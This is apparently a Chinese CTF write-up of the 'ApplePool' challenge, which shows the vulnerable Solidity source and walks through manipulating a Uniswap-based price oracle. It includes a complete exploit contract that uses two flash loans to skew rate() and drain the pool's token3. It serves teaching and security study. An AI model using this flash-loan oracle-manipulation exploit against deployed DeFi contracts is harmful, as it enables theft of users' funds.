引言
智能合約所運行在的虛擬機是一個封閉的環境,智能合約無法自發地獲取外界信息,必須通過EOA(外部賬戶)調用合約中的函數來傳入信息或改變狀態。
在去中心化金融(DeFi)中,通常需要獲取各種token的價格,在不引入鏈下的價格提供者的情況下,可以使用鏈上的預言機服務。有的鏈上的對換服務會提供這個功能,當合約進行獲取價格請求后,會給出一個價格。
鏈上預言機中提供的價格通常和合約中的代幣數量、時間等參數有關。通過操縱預言機可以來欺騙智能合約來做出錯誤的決定。
ApplePool
pragma solidity 0.5.16;
contract check {
using safemath for uint256;
AppleToken public token0 = new AppleToken(10000 * 10 ** 18);
AppleToken public token1 = new AppleToken(20000 * 10 ** 18);
AppleToken public token2 = new AppleToken(20000 * 10 ** 18);
AppleToken public token3 = new AppleToken(10000 * 10 ** 18);
UniswapV2Factory public factory = new UniswapV2Factory(address(this));
AppleRewardPool public appleRewardPool;
address public pair1;
address public pair2;
uint256 public starttime = block.timestamp;
uint256 public endtime = block.timestamp + 90 days;
constructor() public {
pair1 = factory.createPair(address(token0),address(token1));
token0.transfer(pair1,10000 * 10 ** 18);
token1.transfer(pair1,10000 * 10 ** 18);
IUniswapV2Pair(pair1).mint(address(this));
pair2 = factory.createPair(address(token1),address(token2));
token1.transfer(pair2,10000 * 10 ** 18);
token2.transfer(pair2,10000 * 10 ** 18);
IUniswapV2Pair(pair2).mint(address(this));
appleRewardPool = new AppleRewardPool(IERCLike(address(token2)),IERCLike(address(token3)),address(pair1),address(pair2));
token2.transfer(address(appleRewardPool),10000 * 10 ** 18);
token3.transfer(address(appleRewardPool),10000 * 10 ** 18);
appleRewardPool.addPool(IERCLike(address(token1)),starttime, endtime,0,false);
appleRewardPool.addPool(IERCLike(address(token2)),starttime, endtime,0,false);
}
function isSolved() public view returns(bool){
if(token3.balanceOf(address(appleRewardPool)) == 0){
return true;
}
return false;
}
}
contract AppleRewardPool is Ownable {
using safemath for uint256;
struct UserInfo {
uint256 amount;
uint256 depositerewarded;
uint256 ApplerewardDebt;
uint256 Applepending;
}
struct PoolInfo {
IERCLike token;
uint256 starttime;
uint256 endtime;
uint256 ApplePertime;
uint256 lastRewardtime;
uint256 accApplePerShare;
uint256 totalStake;
}
IERCLike public token2;
IERCLike public token3;
PoolInfo[] public poolinfo;
address public pair1;
address public pair2;
mapping (uint256 => mapping (address => UserInfo)) public users;
event Deposit(address indexed user, uint256 _pid, uint256 amount);
event Withdraw(address indexed user, uint256 _pid, uint256 amount);
event ReclaimStakingReward(address user, uint256 amount);
event Set(uint256 pid, uint256 allocPoint, bool withUpdate);
constructor(IERCLike _token2, IERCLike _token3, address _pair1, address _pair2) public {
token2 = _token2;
token3 = _token3;
pair1 = _pair1;
pair2 = _pair2;
}
modifier validatePool(uint256 _pid) {
require(_pid < poolinfo.length, " pool exists?");
_;
}
function getpool() view public returns(PoolInfo[] memory){
return poolinfo;
}
function setApplePertime(uint256 _pid, uint256 _ApplePertime) public onlyOwner validatePool(_pid){
PoolInfo storage pool = poolinfo[_pid];
updatePool(_pid);
_ApplePertime = _ApplePertime.mul(1e18).div(86400);
pool.ApplePertime = _ApplePertime;
}
function addPool(IERCLike _token, uint256 _starttime, uint256 _endtime, uint256 _ApplePertime, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
_ApplePertime = _ApplePertime.mul(1e18).div(86400);
uint256 lastRewardtime = block.timestamp > _starttime ? block.timestamp : _starttime;
poolinfo.push(PoolInfo({
token: _token,
starttime: _starttime,
endtime: _endtime,
ApplePertime: _ApplePertime,
lastRewardtime: lastRewardtime,
accApplePerShare: 0,
totalStake: 0
}));
}
function getMultiplier(PoolInfo storage pool) internal view returns (uint256) {
uint256 from = pool.lastRewardtime;
uint256 to = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
if (from >= to) {
return 0;
}
return to.sub(from);
}
function massUpdatePools() public {
uint256 length = poolinfo.length;
for (uint256 pid = 0; pid < length; pid++) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public validatePool(_pid) {
PoolInfo storage pool = poolinfo[_pid];
if (block.timestamp <= pool.lastRewardtime || pool.lastRewardtime > pool.endtime) {
return;
}
uint256 totalStake = pool.totalStake;
if (totalStake == 0) {
pool.lastRewardtime = block.timestamp <= pool.endtime ? block.timestamp : pool.endtime;
return;
}
uint256 multiplier = getMultiplier(pool);
uint256 AppleReward = multiplier.mul(pool.ApplePertime);
pool.accApplePerShare = pool.accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
pool.lastRewardtime = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
}
function pendingApple(uint256 _pid, address _user) public view validatePool(_pid) returns (uint256) {
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][_user];
uint256 accApplePerShare = pool.accApplePerShare;
uint256 totalStake = pool.totalStake;
if (block.timestamp > pool.lastRewardtime && totalStake > 0) {
uint256 multiplier = getMultiplier(pool);
uint256 AppleReward = multiplier.mul(pool.ApplePertime);
accApplePerShare = accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
}
return user.Applepending.add(user.amount.mul(accApplePerShare).div(1e18)).sub(user.ApplerewardDebt);
}
function rate() public view returns(uint256) {
uint256 _price;
address _token0 = UniswapV2pair(pair1).token0();
address _token1 = UniswapV2pair(pair1).token1();
uint256 amount0 = IERCLike(_token0).balanceOf(pair1);
uint256 amount1 = IERCLike(_token1).balanceOf(pair1);
_price = amount0.mul(1e18).div(amount1);
return _price;
}
function rate1() public view returns(uint256) {
uint256 _price;
(uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
_price = _amount1.div(_amount0).div(2).mul(1e18);
return _price;
}
function deposit(uint256 _pid, uint256 _amount) public validatePool(_pid){
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
user.Applepending = user.Applepending.add(Applepending);
}
if (_pid == 0){
uint256 token2_amount = _amount.mul(rate()).div(1e18);
IERCLike(token2).transfer(msg.sender, token2_amount);
}
if (_pid == 1){
uint256 token3_amount = _amount.mul(rate1()).div(1e18);
IERCLike(token3).transfer(msg.sender, token3_amount);
}
pool.token.transferFrom(_msgSender(), address(this), _amount);
pool.totalStake = pool.totalStake.add(_amount);
user.amount = user.amount.add(_amount);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public validatePool(_pid){
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
user.Applepending = user.Applepending.add(Applepending);
user.amount = user.amount.sub(_amount);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
pool.totalStake = pool.totalStake.sub(_amount);
pool.token.transfer(msg.sender, _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
function reclaimAppleStakingReward(uint256 _pid) public validatePool(_pid) {
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
updatePool(_pid);
uint256 Applepending = user.Applepending.add(user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt));
if (Applepending > 0) {
safeAppleTransfer(msg.sender, Applepending);
}
user.Applepending = 0;
user.depositerewarded = user.depositerewarded.add(Applepending);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
emit ReclaimStakingReward(msg.sender, Applepending);
}
function safeAppleTransfer(address _to, uint256 _amount) internal {
uint256 AppleBalance = token3.balanceOf(address(this));
require(AppleBalance >= _amount, "no enough token");
token3.transfer(_to, _amount);
}
}
先看check合約:
首先創建了四種ERC-20代幣:token0 token1 token2 token3,接著創建了一個UniswapV2的工廠合約,使用工廠合約創建了token0和token1的交易對,再向這個交易對中加入各10000 ether的流動性。再創建了token1和token2的交易對,再向其中各添加了10000 ether的流動性。再創建了受害者合約appleRewardPool,并向這個合約傳入10000 ether的token2和token3,再向合約中添加兩個池子。獲取flag的條件是將受害者合約的token3掏空。
查看appleRewardPool合約,看里面是否有能取出token3的相關邏輯,找到這個函數:
function reclaimAppleStakingReward(uint256 _pid) public validatePool(_pid) {
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
updatePool(_pid);
uint256 Applepending = user.Applepending.add(user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt));
if (Applepending > 0) {
safeAppleTransfer(msg.sender, Applepending);
}
user.Applepending = 0;
user.depositerewarded = user.depositerewarded.add(Applepending);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
emit ReclaimStakingReward(msg.sender, Applepending);
}
function safeAppleTransfer(address _to, uint256 _amount) internal {
uint256 AppleBalance = token3.balanceOf(address(this));
require(AppleBalance >= _amount, "no enough token");
token3.transfer(_to, _amount);
}
在這個函數中會獲取Applepending這個值,并使用safeAppleTransfer函數將Applepending值的token3轉給調用者。再次查看合約,看是否有方法能將Applepending增加到10000 ether:
uint256 multiplier = getMultiplier(pool);
uint256 AppleReward = multiplier.mul(pool.ApplePertime);
pool.accApplePerShare = pool.accApplePerShare.add(AppleReward.mul(1e18).div(totalStake));
pool.lastRewardtime = block.timestamp < pool.endtime ? block.timestamp : pool.endtime;
function addPool(IERCLike _token, uint256 _starttime, uint256 _endtime, uint256 _ApplePertime, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
_ApplePertime = _ApplePertime.mul(1e18).div(86400);
uint256 lastRewardtime = block.timestamp > _starttime ? block.timestamp : _starttime;
poolinfo.push(PoolInfo({
token: _token,
starttime: _starttime,
endtime: _endtime,
ApplePertime: _ApplePertime,
lastRewardtime: lastRewardtime,
accApplePerShare: 0,
totalStake: 0
}));
}
再經過查找之后發現Applepending與ApplePertime這個值有關,而且要獲取Applepending,必須要乘ApplePertime。但是在check合約調用addPool添加池子的時候將這個值設置為0:
appleRewardPool.addPool(IERCLike(address(token1)),starttime, endtime,0,false); appleRewardPool.addPool(IERCLike(address(token2)),starttime, endtime,0,false);
所以操縱Applepending,再使用reclaimAppleStakingReward來解體的思路行不通。再查找是否有辦法能取出token3:
function deposit(uint256 _pid, uint256 _amount) public validatePool(_pid){
PoolInfo storage pool = poolinfo[_pid];
UserInfo storage user = users[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 Applepending = user.amount.mul(pool.accApplePerShare).div(1e18).sub(user.ApplerewardDebt);
user.Applepending = user.Applepending.add(Applepending);
}
if (_pid == 0){
uint256 token2_amount = _amount.mul(rate()).div(1e18);
IERCLike(token2).transfer(msg.sender, token2_amount);
}
if (_pid == 1){
uint256 token3_amount = _amount.mul(rate1()).div(1e18);
IERCLike(token3).transfer(msg.sender, token3_amount);
}
pool.token.transferFrom(_msgSender(), address(this), _amount);
pool.totalStake = pool.totalStake.add(_amount);
user.amount = user.amount.add(_amount);
user.ApplerewardDebt = user.amount.mul(pool.accApplePerShare).div(1e18);
emit Deposit(msg.sender, _pid, _amount);
}
在deposit函數中,如果調用時將_pid設置為1,函數會調用rate1()計算一個價格,使用這個價格乘以 _amount,就可以向調用者轉出相應數量的token3,同時需要調用者向合約轉 _amount數量的token2。
現在的問題是我們沒有token2,甚至連題目給的四種token都沒有。但題目給了兩個UniswapV2交易對,交易對的swap函數提供了閃電貸功能,我們能獲取交易對中的所有資金,前提是我們必須能還上。
這里還注意到deposit函數在發送token2和token3時使用了rate()和rate2()函數來計算價格:
function rate() public view returns(uint256) {
uint256 _price;
address _token0 = UniswapV2pair(pair1).token0();
address _token1 = UniswapV2pair(pair1).token1();
uint256 amount0 = IERCLike(_token0).balanceOf(pair1);
uint256 amount1 = IERCLike(_token1).balanceOf(pair1);
_price = amount0.mul(1e18).div(amount1);
return _price;
}
function rate1() public view returns(uint256) {
uint256 _price;
(uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
_price = _amount1.div(_amount0).div(2).mul(1e18);
return _price;
}
在rate()函數中,計算相對價格使用的是ERC-20 token的balanceOf接口,所以這個相對價格是pair1中的實時價格。如果我們使用閃電貸將pair1中的token1大量借出,就可以將token1和token2的相對價格抬到非常高。
我們可以從pair1中借出10000 * 10 ** 18 - 1wei的token1,這時rate算出的價格應該也就推到了10000 * 10 ** 18 - 1。這時再調用deposit函數,_pid為0, _amount 為1:
if (_pid == 0){
uint256 token2_amount = _amount.mul(rate()).div(1e18);
IERCLike(token2).transfer(msg.sender, token2_amount);
}
這時經過rate()計算,合約會給我們發送10000 * 10 ** 18 - 1wei的token2,代價僅僅是我們向合約發送1wei的token1,而且再調用withdraw可以將發送合約的1wei token1再取出來。現在我們所用的token1就有10000 * 10 ** 18 - 1wei,和當初借出的一樣,并且在題目所給的UniswapV2Pair合約的swap函數中,并沒有設置手續費:
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(0));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(0));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
這意味著我們只要把借出數量的token1再還回去就能滿足k值并不回退。
到現在我們擁有10000 * 10 ** 18 - 1wei的token2,似乎可以再通過deposit函數取出所有的token3,但這時計算價格使用的函數是rate1:
function rate1() public view returns(uint256) {
uint256 _price;
(uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
_price = _amount1.div(_amount0).div(2).mul(1e18);
return _price;
}
該函數在獲取到原價格后又除了2,所以這時我們調用deposit時,只能用10000 * 10 ** 18 - 1wei的token2換出5000 ether的token3,同時該函數獲取價格使用的是getReserves(),該接口獲取的是swap之前的相對價格,意味著我們不能通過閃電貸來操縱價格。
但我們可以將獲取到的所有token2發送到pair2中,同時取出5000 ether的token1。這時候池子中的兩種代幣相對價格為4,經過rate1()的計算變成2,這時只要5000 ether的token2就可以換出全部的token3。但經過這么一頓折騰,我們手上只有5000 ether的token1,這時該怎么辦?
可以再進行一次閃電貸,由于rate1()計算出的價格不受閃電貸影響,所以我們借空pair2合約也不影響價格計算。這時我們從pair2借出5000 ether 的token2,調用deposit,_amoun為5000 ether,換出合約中的全部token3,同時我們手上還有5000 ether的token1,這時將他們發送到pair2合約,現在池子中兩種代幣數量為 10000 ether和15000 ether,滿足K值綽綽有余。
EXP
contract Exp is IUniswapV2Callee{
check public c;
AppleRewardPool public pool; // IERCLike
address public token0;
address public token1;
address public token2;
address public token3;
address public pair1;
address public pair2;
constructor(address _check, address _pool, address _token0, address _token1, address _token2, address _token3, address _pair1, address _pair2) public {
c = check(_check);
pool = AppleRewardPool(_pool);
token0 = _token0;
token1 = _token1;
token2 = _token2;
token3 = _token3;
pair1 = _pair1;
pair2 = _pair2;
IERCLike(token0).approve(address(pool), 100000 ether);
IERCLike(token1).approve(address(pool), 100000 ether);
IERCLike(token2).approve(address(pool), 100000 ether);
IERCLike(token3).approve(address(pool), 100000 ether);
IERCLike(token1).approve(address(pair1), 100000 ether);
}
function flashloan() public {
IUniswapV2Pair(pair1).swap(0, 10000 * 10 ** 18 - 1 , address(this), new bytes(10));
}
function flashloan2() public {
IUniswapV2Pair(pair2).swap(0, 5000 * 10 ** 18 , address(this), new bytes(5));
}
function swap() public {
IERCLike(token2).transfer(address(pair2), 9999 ether);
IUniswapV2Pair(pair1).swap(0, 4999 * 10 ** 18 , address(this), new bytes(0));
}
function deposit(uint256 _pool, uint256 _amount) public {
pool.deposit(_pool, _amount);
}
function withdraw(uint256 _pool, uint256 _amount) public {
pool.withdraw(_pool, _amount);
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
if (data.length > 8) {
require(IERCLike(token1).balanceOf(pair1) == 1, "err flash");
pool.deposit(0, 1);
require(IERCLike(token2).balanceOf(address(this)) >= 9999 * 10 ** 18, "err flash1");
pool.withdraw(0, 1);
IERCLike(token2).transfer(address(pair2), 10000 * 10 ** 18);
IUniswapV2Pair(pair2).swap(5000 * 10 ** 18, 0, address(this), new bytes(0)); // got 4999 ether token1
require(IERCLike(token1).balanceOf(pair2) < 10000 ether, "err flash2");
require(IERCLike(token1).balanceOf(address(this)) >= 9999 ether, "err flash3");
IERCLike(token1).transfer(address(pair1), 10000 * 10 ** 18 - 1);
} else {
pool.deposit(1, 5000 * 10 ** 18);
IERCLike(token1).transfer(address(pair2), IERCLike(token1).balanceOf(address(this)));
}
}
function transfer2(address to, uint256 amount) public {
IERCLike(token2).transfer(to, amount);
}
function transfer3(address to, uint256 amount) public {
IERCLike(token3).transfer(to, amount);
}
}
部署完Exp合約之后分別調用flashloan和flashloan2,達到獲取flag條件


總結
以太坊操縱預言機是一種危險的惡意行為,它可以導致智能合約被操縱并從中獲得不當利益。為了預防以太坊操縱預言機,可以采取多種措施,例如使用多個預言機、使用加密技術、限制預言機的訪問權限以及對預言機進行審計等。然而,預言機攻擊仍然是一個值得關注的問題,因此在開發以太坊智能合約時,開發者應該考慮采取一系列措施來確保智能合約的安全性和可靠性。同時,加強社區的安全意識和合作也是必不可少的。
看雪學苑
安全內參
安全圈
中國信通院CAICT
0x00實驗室
安全圈
數緣信安社區
安恒信息
安全客
雷石安全實驗室
ChaMd5安全團隊
看雪學苑